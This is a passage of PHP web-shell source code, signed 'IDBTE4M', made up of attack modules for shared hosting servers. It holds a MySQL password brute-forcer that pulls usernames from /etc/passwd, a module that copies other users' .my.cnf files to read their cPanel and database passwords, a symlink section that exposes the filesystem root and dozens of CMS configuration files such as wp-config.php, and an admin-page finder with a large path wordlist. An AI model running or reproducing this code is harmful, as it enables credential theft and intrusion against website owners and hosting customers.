  2259. if (isset($_GET['jak']) && ($_GET['jak'] == 'brute')) { ?>
  2260. <form action="?jak=brute" method="post">
  2261. <?php ?>
  2262. <html>
  2263. <head>
  2264. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  2265. <body text="#4C83AF" bgcolor="#111111" font="Verdana, Arial, Helvetica, sans-serif">
  2266. <center>
  2267. <form method="POST">
  2268. <strong>
  2269. <input name="page" type="hidden" value="find">
  2270. </strong>
  2271. <div style="width:90%">
  2272.  
  2273. <div id="result">
  2274. <br /><br />
  2275. </div>
  2276. <div id="mp" style="width:49%;float:left">
  2277. <b>~ UserName ~</b>
  2278. </div>
  2279. <div id="mp" style="width:49%;float:left">
  2280.  
  2281. <b>~ PassWord ~</b>
  2282. </div>
  2283. <div id="mp" style="clear:both;width:49%;float:left">
  2284. <textarea rows="10" class="coode" style="width:100%" name="usernames"><? if($_POST['page']=='find' && $_POST['usernames']<=''){$lines=@file("/etc/passwd");foreach($lines as $nr=>$val){$str=explode(":",$val);echo $str[0]."
  2285. ";}}else{echo $_POST['usernames'];} ?></textarea>
  2286. </div>
  2287. <div id="s" style="width:2%;float:left">
  2288. &nbsp;&nbsp;
  2289. </div>
  2290. <div id="s" style="width:49%;float:left">
  2291. <textarea rows="10" class="coode" style="width:100%" name="passwords"><? if($_POST['page']=='find' && $_POST['passwords']<=''){echo "123
  2292. 1234
  2293. 12345
  2294. 123456
  2295. 1234567
  2296. 12345678
  2297. 123456789
  2298. 1234567890
  2299. Password
  2300. pass
  2301. admin
  2302. admin123
  2303. admin1234
  2304. admin12345
  2305. admin123456
  2306. admin1234567
  2307. admin12345678
  2308. admin123456789
  2309. admin1234567890
  2310. administrator123
  2311. administrator1234
  2312. administrator12345
  2313. administrator123456
  2314. administrator1234567
  2315. administrator12345678
  2316. administrator123456789
  2317. administrator1234567890
  2318. password123
  2319. password1234
  2320. password12345
  2321. password123456
  2322. password1234567
  2323. password12345678
  2324. password123456789
  2325. password1234567890
  2326. 123456
  2327. 123123
  2328. 1234
  2329. 12345
  2330. 12369874
  2331. 123456789
  2332. 112233
  2333. 12345678
  2334. 123654
  2335. 123654789
  2336. 1234admin
  2337. password
  2338. passwd1
  2339. password123
  2340. test123
  2341. 159357
  2342. 147258
  2343. 159951
  2344. 123321
  2345. ADMIN
  2346. 195159
  2347. 147852
  2348. Admin
  2349. Administrator
  2350. Demo
  2351. User
  2352. user
  2353. useruser
  2354. 987456321
  2355. 741852
  2356. 321987
  2357. 357159
  2358. 1234566
  2359. 1234567899
  2360. 111222
  2361. Administrateur
  2362. administrateur
  2363. 0123456
  2364. 0123456789
  2365. 0147258
  2366. 147258
  2367. 987654
  2368. 963852
  2369. 369258
  2370. 456789
  2371. 456321
  2372. 456123
  2373. ADMIN1234
  2374. Admin1234
  2375. admin123456
  2376. admin1234
  2377. admin01234
  2378. 000000
  2379. 142536
  2380. 632541
  2381. "; }else{echo $_POST['passwords'];} ?></textarea>
  2382.  
  2383. </div>
  2384. </div>
  2385. <div style="width:90%;clear:both">
  2386. <br><p><input type="submit" name="submit" class="inputzbut" value="Go !" style="width:120px;height:30px;" /></p>
  2387. </div>
  2388. <br /><br /><br />
  2389.  
  2390. </form>
  2391.  
  2392.  
  2393. <?
  2394. if($_POST['page']=='find')
  2395. {
  2396. echo"<div id='result'>";
  2397. if(isset($_POST['usernames']) && isset($_POST['passwords']))
  2398. {
  2399.  
  2400. $a1 = explode("
  2401. ",$_POST['usernames']);
  2402. $a2 = explode("
  2403. ",$_POST['passwords']);
  2404. $id2 = count($a2);
  2405. $ok = 0;
  2406. foreach($a1 as $user )
  2407. {
  2408. if($user !== '')
  2409. {
  2410. $user=trim($user);
  2411. for($i=0;$i<=$id2;$i++)
  2412. {
  2413. $pass = trim($a2[$i]);
  2414. if(@mysql_connect('localhost',$user,$pass))
  2415. {
  2416. if($pass !== ''){
  2417. echo "<b>[ IDBTE4M ]=> </b> <b>User[<font color='green'> $user </font>] Pass[<font color='green'> $pass </font>]</b><br>";
  2418. $ok++;
  2419. }}
  2420. }
  2421. }
  2422. }
  2423. echo "<hr><b>You Found <font color=green>$ok</font>BY IDBTE4M</b>";
  2424. exit;
  2425. }
  2426. echo'</div>';
  2427. }
  2428. }
  2429. ?>
  2430.  
  2431. <?php
  2432. if (isset($_GET['jak']) && ($_GET['jak'] == 'cp')) {
  2433. ?>
  2434. <form action="?&amp;jak=cp" method="post">
  2435. <?php
  2436. /**
  2437. * @author: FaisaL Ahmed aka blue X
  2438. * @Screenshot: http://prntscr.com/7c1p34
  2439. * @Last Updated: 01 June 2015
  2440. */
  2441.  
  2442. @ini_set('display_errors',0);
  2443. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  2444. $ar0=explode($marqueurDebutLien, $text);
  2445. $ar1=explode($marqueurFinLien, $ar0[$i]);
  2446. return trim($ar1[0]);
  2447. }
  2448. echo "<center>";
  2449. $d0mains = @file('/etc/named.conf');
  2450. $domains = scandir("/var/named");
  2451.  
  2452. if ($domains or $d0mains)
  2453. {
  2454. $domains = scandir("/var/named");
  2455. if($domains) {
  2456. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  2457. $count=1;
  2458. $dc = 0;
  2459. $list = scandir("/var/named");
  2460. foreach($list as $domain){
  2461. if(strpos($domain,".db")){
  2462. $domain = str_replace('.db','',$domain);
  2463. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  2464. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  2465. $path = getcwd();
  2466.  
  2467. if (is_readable($dirz)) {
  2468. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  2469. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  2470. $password=entre2v2($p,'password="','"');
  2471. echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  2472. $dc++;
  2473. }
  2474.  
  2475. }
  2476. }
  2477. echo '</table>';
  2478. $total = $dc;
  2479. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  2480. echo '</center>';
  2481. }else{
  2482. $d0mains = @file('/etc/named.conf');
  2483. if($d0mains) {
  2484. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  2485. $count=1;
  2486. $dc = 0;
  2487. $mck = array();
  2488. foreach($d0mains as $d0main){
  2489. if(@eregi('zone',$d0main)){
  2490. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  2491. flush();
  2492. if(strlen(trim($domain[1][0])) >2){
  2493. $mck[] = $domain[1][0];
  2494. }
  2495. }
  2496. }
  2497. $mck = array_unique($mck);
  2498. $usr = array();
  2499. $dmn = array();
  2500. foreach($mck as $o) {
  2501. $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  2502. $usr[] = $infos['name'];
  2503. $dmn[] = $o;
  2504. }
  2505. array_multisort($usr,$dmn);
  2506. $dt = file('/etc/passwd');
  2507. $passwd = array();
  2508. foreach($dt as $d) {
  2509. $r = explode(':',$d);
  2510. if(strpos($r[5],'home')) {
  2511. $passwd[$r[0]] = $r[5];
  2512. }
  2513. }
  2514. $l=0;
  2515. $j=1;
  2516. foreach($usr as $r) {
  2517. $dirz = '/home/'.$r.'/.my.cnf';
  2518. $path = getcwd();
  2519. if (is_readable($dirz)) {
  2520. copy($dirz, ''.$path.'/'.$r.'.txt');
  2521. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  2522. $password=entre2v2($p,'password="','"');
  2523. echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  2524. $dc++;
  2525. flush();
  2526. $l=$l?0:1;
  2527. $j++;
  2528. }
  2529. }
  2530. }
  2531. echo '</table>';
  2532. $total = $dc;
  2533. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  2534. echo '</center>';
  2535.  
  2536. }
  2537. }else{
  2538. echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
  2539. }
  2540.  
  2541. echo "</body></html>";
  2542. }
  2543. ?>
  2544. <?php
  2545. if (isset($_GET['jak']) && ($_GET['jak'] == 'sym')) {
  2546. ?>
  2547. <form action="?path=<?php echo $path; ?>&amp;jak=sym" method="post">
  2548. <center><h2>Domain Viewer</h2></center><br><br>
  2549. <?php
  2550. function openBaseDir()
  2551. {
  2552. $openBaseDir = ini_get("open_basedir");
  2553. if (!$openBaseDir)
  2554. {
  2555. $openBaseDir = '<font color="green">OFF</font>';
  2556. }
  2557. else
  2558. {
  2559. $openBaseDir = '<font color="red">ON</font>';
  2560. }
  2561. return $openBaseDir;
  2562. }
  2563.  
  2564.  
  2565. echo '
  2566. <table width="95%" cellspacing="0" cellpadding="0" class="td1" >
  2567. <td height="100" align="left" class="td1">';
  2568. $pg = basename(__FILE__);
  2569. $safe_mode = @ini_get('safe_mode');
  2570. $dir = @getcwd();
  2571. ////////////////////////////////////////////////////
  2572. // LET'S PLAY ~
  2573. ##.htaccess
  2574. @mkdir('jaks',0777);
  2575. @symlink("/","jaks/!");
  2576. $htaccss = "Options Indexes FollowSymLinks\nDirectoryIndex amis.txt\nAddType txt .php\nAddHandler txt .php";
  2577.  
  2578. file_put_contents("jaks/.htaccess",$htaccss);
  2579. $etc = file_get_contents("/etc/passwd");
  2580. $etcz = explode("\n",$etc);
  2581.  
  2582.  
  2583. ##Symlink to the ROOT :p
  2584. foreach($etcz as $etz){
  2585. $etcc = explode(":",$etz);
  2586. error_reporting(0);
  2587.  
  2588. $current_dir = posix_getcwd();
  2589. $dir = explode("/",$current_dir);
  2590.  
  2591. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
  2592. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/blog/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
  2593. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
  2594. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
  2595. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/config.php',"pee/".$etcc[0].'-PhpBB.txt');
  2596. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/config.php',"pee/".$etcc[0].'-vBulletin.txt');
  2597. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
  2598. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/web/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
  2599. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/joomla/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
  2600. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
  2601. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/conf_global.php',"pee/".$etcc[0].'-IPB.txt');
  2602. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/inc/config.php',"pee/".$etcc[0].'-MyBB.txt');
  2603. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/Settings.php',"pee/".$etcc[0].'-SMF.txt');
  2604. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/sites/default/settings.php',"pee/".$etcc[0].'-Drupal.txt');
  2605. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/e107_config.php',"pee/".$etcc[0].'-e107.txt');
  2606. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/datas/config.php',"pee/".$etcc[0].'-Seditio.txt');
  2607. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/configure.php',"pee/".$etcc[0].'-osCommerce.txt');
  2608. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/client/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2609. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientes/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2610. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/support/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2611. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/supportes/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2612. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmcs/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2613. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domain/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2614. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/hosting/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2615. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmc/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2616. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/billing/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2617. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/portal/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2618. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/order/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2619. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientarea/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2620. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domains/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2621. }
  2622. #############################
  2623. if(is_readable("/var/named")){
  2624. echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
  2625. echo'<tr><td><center><b>SITE</b></center></td><td>
  2626. <center><b>USER</b></center></td>
  2627. <td></center><b>SYMLINK</b></center></td>';
  2628. $list = scandir("/var/named");
  2629. foreach($list as $domain){
  2630. if(strpos($domain,".db")){
  2631. $i += 1;
  2632. $domain = str_replace('.db','',$domain);
  2633. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  2634.  
  2635. echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td>
  2636. <td class='td1'><center><font color='red'>".$owner['name']."</font></center></td>
  2637. <td class='td1'><center><a href='jaks/!".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
  2638. }
  2639. }
  2640. echo "<center>Total Domains Found: ".$i."</center><br />";
  2641. }else{
  2642. echo "<tr><td class='td1'>can't read [ /var/named ]</td><tr>"; }
  2643.  
  2644. break;
  2645.  
  2646. ##################################
  2647. error_reporting(0);
  2648. $etc = file_get_contents("/etc/passwd");
  2649. $etcz = explode("\n",$etc);
  2650. if(is_readable("/etc/passwd")){
  2651.  
  2652. echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
  2653. echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>SYMLINK</b></center></td>';
  2654.  
  2655. $list = scandir("/var/named");
  2656.  
  2657. foreach($etcz as $etz){
  2658. $etcc = explode(":",$etz);
  2659.  
  2660. foreach($list as $domain){
  2661. if(strpos($domain,".db")){
  2662. $domain = str_replace('.db','',$domain);
  2663. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  2664. if($owner['name'] == $etcc[0])
  2665. {
  2666. $i += 1;
  2667. echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><center>
  2668. <td class='td1'><font color='red'>".$owner['name']."</font></center></td>
  2669. <td class='td1'><center><a href='jaks/!".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
  2670. }}}}
  2671. echo "<center>Total Domains Found: ".$i."</center><br />";}
  2672.  
  2673. break;
  2674. ###############################
  2675. if(is_readable("/etc/named.conf")){
  2676. echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
  2677. echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>SYMLINK</b></center></td>';
  2678. $named = file_get_contents("/etc/named.conf");
  2679. preg_match_all('%zone \"(.*)\" {%',$named,$domains);
  2680. foreach($domains[1] as $domain){
  2681. $domain = trim($domain);
  2682. $i += 1;
  2683. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  2684. echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><td class='td1'><center><font color='red'>".$owner['name']."</font></center></td><td class='td1'><center><a href='jaks/!".$owner['dir']."/".$dir[3]."'
  2685. target='_blank'>DIR</a></center></td>";
  2686. }
  2687. echo "<center>Total Domains Found: ".$i."</center><br />";
  2688.  
  2689. } else { echo "<tr><td class='td1'>can't read [ /etc/named.conf ]</td></tr>"; }
  2690.  
  2691. break;
  2692. ############################
  2693. if(is_readable("/etc/valiases")){
  2694. echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
  2695. echo'<tr><td><center><b>SITE</b></center></td><td>
  2696. <center><b>USER</b></center></td><td></center>
  2697. <b>SYMLINK</b></center></td>';
  2698. $list = scandir("/etc/valiases");
  2699. foreach($list as $domain){
  2700. $i += 1;
  2701. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  2702. echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td>
  2703. <center><td class='td1'><font color='red'>".$owner['name']."</font></center></td>
  2704. <td class='td1'><center><a href='jaks/!".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
  2705. }
  2706. echo "<center>Total Domains Found: ".$i."</center><br />";
  2707. } else { echo "<tr><td class='td1'>can't read [ /etc/valiases ]</td></tr>"; }
  2708.  
  2709. break;
  2710. }
  2711. ?>
  2712. <?php
  2713. if (isset($_GET['jak']) && ($_GET['jak'] == 'finder')) {
  2714. ?>
  2715. <form action="?&amp;jak=finder" method="post">
  2716. <?php
  2717. set_time_limit(0);
  2718. error_reporting(0);
  2719. $list['front'] =
  2720. "
  2721. admin
  2722. adm
  2723. admincp
  2724. admcp
  2725. cp
  2726. modcp
  2727. moderatorcp
  2728. adminare
  2729. admins
  2730. cpanel
  2731. controlpanel";
  2732. $list['end'] = "
  2733. admin1.php
  2734. admin1.html
  2735. admin2.php
  2736. admin2.html
  2737. yonetim.php
  2738. yonetim.html
  2739. yonetici.php
  2740. yonetici.html
  2741. ccms/
  2742. ccms/login.php
  2743. ccms/index.php
  2744. maintenance/
  2745. webmaster/
  2746. adm/
  2747. configuration/
  2748. configure/
  2749. websvn/
  2750. admin/
  2751. admin/account.php
  2752. admin/account.html
  2753. admin/index.php
  2754. admin/index.html
  2755. admin/login.php
  2756. admin/login.html
  2757. admin/home.php
  2758. admin/controlpanel.html
  2759. admin/controlpanel.php
  2760. admin.php
  2761. admin.html
  2762. admin/cp.php
  2763. admin/cp.html
  2764. cp.php
  2765. cp.html
  2766. administrator/
  2767. administrator/index.html
  2768. administrator/index.php
  2769. administrator/login.html
  2770. administrator/login.php
  2771. administrator/account.html
  2772. administrator/account.php
  2773. administrator.php
  2774. administrator.html
  2775. login.php
  2776. login.html
  2777. modelsearch/login.php
  2778. moderator.php
  2779. moderator.html
  2780. moderator/login.php
  2781. moderator/login.html
  2782. moderator/admin.php
  2783. moderator/admin.html
  2784. moderator/
  2785. account.php
  2786. account.html
  2787. controlpanel/
  2788. controlpanel.php
  2789. controlpanel.html
  2790. admincontrol.php
  2791. admincontrol.html
  2792. adminpanel.php
  2793. adminpanel.html
  2794. admin1.asp
  2795. admin2.asp
  2796. yonetim.asp
  2797. yonetici.asp
  2798. admin/account.asp
  2799. admin/index.asp
  2800. admin/login.asp
  2801. admin/home.asp
  2802. admin/controlpanel.asp
  2803. admin.asp
  2804. admin/cp.asp
  2805. cp.asp
  2806. administrator/index.asp
  2807. administrator/login.asp
  2808. administrator/account.asp
  2809. administrator.asp
  2810. login.asp
  2811. modelsearch/login.asp
  2812. moderator.asp
  2813. moderator/login.asp
  2814. moderator/admin.asp
  2815. account.asp
  2816. controlpanel.asp
  2817. admincontrol.asp
  2818. adminpanel.asp
  2819. fileadmin/
  2820. fileadmin.php
  2821. fileadmin.asp
  2822. fileadmin.html
  2823. administration/
  2824. administration.php
  2825. administration.html
  2826. sysadmin.php
  2827. sysadmin.html
  2828. phpmyadmin/
  2829. myadmin/
  2830. sysadmin.asp
  2831. sysadmin/
  2832. ur-admin.asp
  2833. ur-admin.php
  2834. ur-admin.html
  2835. ur-admin/
  2836. Server.php
  2837. Server.html
  2838. Server.asp
  2839. Server/
  2840. wp-admin/
  2841. administr8.php
  2842. administr8.html
  2843. administr8/
  2844. administr8.asp
  2845. webadmin/
  2846. webadmin.php
  2847. webadmin.asp
  2848. webadmin.html
  2849. administratie/
  2850. admins/
  2851. admins.php
  2852. admins.asp
  2853. admins.html
  2854. administrivia/
  2855. Database_Administration/
  2856. WebAdmin/
  2857. useradmin/
  2858. sysadmins/
  2859. admin1/
  2860. system-administration/
  2861. administrators/
  2862. pgadmin/
  2863. directadmin/
  2864. staradmin/
  2865. ServerAdministrator/
  2866. SysAdmin/
  2867. administer/
  2868. LiveUser_Admin/
  2869. sys-admin/
  2870. typo3/
  2871. panel/
  2872. cpanel/
  2873. cPanel/
  2874. cpanel_file/
  2875. platz_login/
  2876. rcLogin/
  2877. blogindex/
  2878. formslogin/
  2879. autologin/
  2880. support_login/
  2881. meta_login/
  2882. manuallogin/
  2883. simpleLogin/
  2884. loginflat/
  2885. utility_login/
  2886. showlogin/
  2887. memlogin/
  2888. members/
  2889. login-redirect/
  2890. sub-login/
  2891. wp-login/
  2892. login1/
  2893. dir-login/
  2894. login_db/
  2895. xlogin/
  2896. smblogin/
  2897. customer_login/
  2898. UserLogin/
  2899. login-us/
  2900. acct_login/
  2901. admin_area/
  2902. bigadmin/
  2903. project-admins/
  2904. phppgadmin/
  2905. pureadmin/
  2906. sql-admin/
  2907. radmind/
  2908. openvpnadmin/
  2909. wizmysqladmin/
  2910. vadmind/
  2911. ezsqliteadmin/
  2912. hpwebjetadmin/
  2913. newsadmin/
  2914. adminpro/
  2915. Lotus_Domino_Admin/
  2916. bbadmin/
  2917. vmailadmin/
  2918. Indy_admin/
  2919. ccp14admin/
  2920. irc-macadmin/
  2921. banneradmin/
  2922. sshadmin/
  2923. phpldapadmin/
  2924. macadmin/
  2925. administratoraccounts/
  2926. admin4_account/
  2927. admin4_colon/
  2928. radmind-1/
  2929. Super-Admin/
  2930. AdminTools/
  2931. cmsadmin/
  2932. SysAdmin2/
  2933. globes_admin/
  2934. cadmins/
  2935. phpSQLiteAdmin/
  2936. navSiteAdmin/
  2937. server_admin_small/
  2938. logo_sysadmin/
  2939. server/
  2940. database_administration/
  2941. power_user/
  2942. system_administration/
  2943. ss_vms_admin_sm/
  2944. adminarea/
  2945. bb-admin/
  2946. adminLogin/
  2947. panel-administracion/
  2948. instadmin/
  2949. memberadmin/
  2950. administratorlogin/
  2951. admin/admin.php
  2952. admin_area/admin.php
  2953. admin_area/login.php
  2954. siteadmin/login.php
  2955. siteadmin/index.php
  2956. siteadmin/login.html
  2957. admin/admin.html
  2958. admin_area/index.php
  2959. bb-admin/index.php
  2960. bb-admin/login.php
  2961. bb-admin/admin.php
  2962. admin_area/login.html
  2963. admin_area/index.html
  2964. admincp/index.asp
  2965. admincp/login.asp
  2966. admincp/index.html
  2967. webadmin/index.html
  2968. webadmin/admin.html
  2969. webadmin/login.html
  2970. admin/admin_login.html
  2971. admin_login.html
  2972. panel-administracion/login.html
  2973. nsw/admin/login.php
  2974. webadmin/login.php
  2975. admin/admin_login.php
  2976. admin_login.php
  2977. admin_area/admin.html
  2978. pages/admin/admin-login.php
  2979. admin/admin-login.php
  2980. admin-login.php
  2981. bb-admin/index.html
  2982. bb-admin/login.html
  2983. bb-admin/admin.html
  2984. admin/home.html
  2985. pages/admin/admin-login.html
  2986. admin/admin-login.html
  2987. admin-login.html
  2988. admin/adminLogin.html
  2989. adminLogin.html
  2990. home.html
  2991. rcjakar/admin/login.php
  2992. adminarea/index.html
  2993. adminarea/admin.html
  2994. webadmin/index.php
  2995. webadmin/admin.php
  2996. user.html
  2997. modelsearch/login.html
  2998. adminarea/login.html
  2999. panel-administracion/index.html
  3000. panel-administracion/admin.html
  3001. modelsearch/index.html
  3002. modelsearch/admin.html
  3003. admincontrol/login.html
  3004. adm/index.html
  3005. adm.html
  3006. user.php
  3007. panel-administracion/login.php
  3008. wp-login.php
  3009. adminLogin.php
  3010. admin/adminLogin.php
  3011. home.php
  3012. adminarea/index.php
  3013. adminarea/admin.php
  3014. adminarea/login.php
  3015. panel-administracion/index.php
  3016. panel-administracion/admin.php
  3017. modelsearch/index.php
  3018. modelsearch/admin.php
  3019. admincontrol/login.php
  3020. adm/admloginuser.php
  3021. admloginuser.php
  3022. admin2/login.php
  3023. admin2/index.php
  3024. adm/index.php
  3025. adm.php
  3026. affiliate.php
  3027. adm_auth.php
  3028. memberadmin.php
  3029. administratorlogin.php
  3030. admin/admin.asp
  3031. admin_area/admin.asp
  3032. admin_area/login.asp
  3033. admin_area/index.asp
  3034. bb-admin/index.asp
  3035. bb-admin/login.asp
  3036. bb-admin/admin.asp
  3037. pages/admin/admin-login.asp
  3038. admin/admin-login.asp
  3039. admin-login.asp
  3040. user.asp
  3041. webadmin/index.asp
  3042. webadmin/admin.asp
  3043. webadmin/login.asp
  3044. admin/admin_login.asp
  3045. admin_login.asp
  3046. panel-administracion/login.asp
  3047. adminLogin.asp
  3048. admin/adminLogin.asp
  3049. home.asp
  3050. adminarea/index.asp
  3051. adminarea/admin.asp
  3052. adminarea/login.asp
  3053. panel-administracion/index.asp
  3054. panel-administracion/admin.asp
  3055. modelsearch/index.asp
  3056. modelsearch/admin.asp
  3057. admincontrol/login.asp
  3058. adm/admloginuser.asp
  3059. admloginuser.asp
  3060. admin2/login.asp
  3061. admin2/index.asp
  3062. adm/index.asp
  3063. adm.asp
  3064. affiliate.asp
  3065. adm_auth.asp
  3066. memberadmin.asp
  3067. administratorlogin.asp
  3068. siteadmin/login.asp
  3069. siteadmin/index.asp
  3070. ADMIN/
  3071. paneldecontrol/
  3072. login/
  3073. cms/
  3074. admon/
  3075. ADMON/
  3076. administrador/
  3077. ADMIN/login.php
  3078. panelc/
  3079. ADMIN/login.html";
  3080. function template() {
  3081. echo '
  3082.  
  3083. <script type="text/javascript">
  3084. <!--
  3085. function insertcode($text, $place, $replace)
  3086. {
  3087. var $this = $text;
  3088. var logbox = document.getElementById($place);
  3089. if($replace == 0)
  3090. document.getElementById($place).innerHTML = logbox.innerHTML+$this;
  3091. else
  3092. document.getElementById($place).innerHTML = $this;
  3093. //document.getElementById("helpbox").innerHTML = $this;
  3094. }
  3095. -->
  3096. </script>
  3097. <br>
  3098. <br>
  3099. <h1 class="technique-two">
  3100.  
  3101.  
  3102.  
  3103. </h1>
  3104.  
  3105. <div class="wrapper">
  3106. <div class="red">
  3107. <div class="tube">
  3108. <center><table class="tabnet"><th colspan="2">Admin Finder</th><tr><td>
  3109. <form action="" method="post" name="xploit_form">
  3110.  
  3111. <tr>
  3112. <tr>
  3113. <b><td>URL</td>
  3114. <td><input class="inputz" type="text" name="xploit_url" value="'.$_POST['xploit_url'].'" style="width: 350px;" />
  3115. </td>
  3116. </tr><tr>
  3117. <td>404 string</td>
  3118. <td><input class="inputz" type="text" name="xploit_404string" value="'.$_POST['xploit_404string'].'" style="width: 350px;" />
  3119. </td></b>
  3120. </tr><br><td>
  3121. <span style="float: center;"><input class="inputzbut" type="submit" name="xploit_submit" value=" Start Scan" align="center" />
  3122. </span></td></tr>
  3123. </form></td></tr>
  3124. <br /></table>
  3125. </div> <!-- /tube -->
  3126. </div> <!-- /red -->
  3127. <br />
  3128. <div class="green">
  3129. <div class="tube" id="rightcol">
  3130. Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
  3131. <b>Found ones:<br /></b>
  3132. </div> <!-- /tube -->
  3133. </div></center><!-- /green -->
  3134. <br clear="all" /><br />
  3135. <div class="blue">
  3136. <div class="tube" id="logbox">
  3137. <br />
  3138. <br />
  3139. Admin page Finder :<br /><br />
  3140. </div> <!-- /tube -->
  3141. </div> <!-- /blue -->
  3142. </div> <!-- /wrapper -->
  3143. <br clear="all"><br>';
  3144. }
  3145. function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
  3146. if($br == 1) $msg .= "<br />";
  3147. echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
  3148. if($stop == 1) exit;
  3149. @flush();@ob_flush();
  3150. }
  3151. function check($x, $front=0) {
  3152. global $_POST,$site,$false;
  3153. if($front == 0) $t = $site.$x;
  3154. else $t = 'http://'.$x.'.'.$site.'/';
  3155. $headers = get_headers($t);
  3156. if (!eregi('200', $headers[0])) return 0;
  3157. $data = @file_get_contents($t);
  3158. if($_POST['xploit_404string'] == "") if($data == $false) return 0;
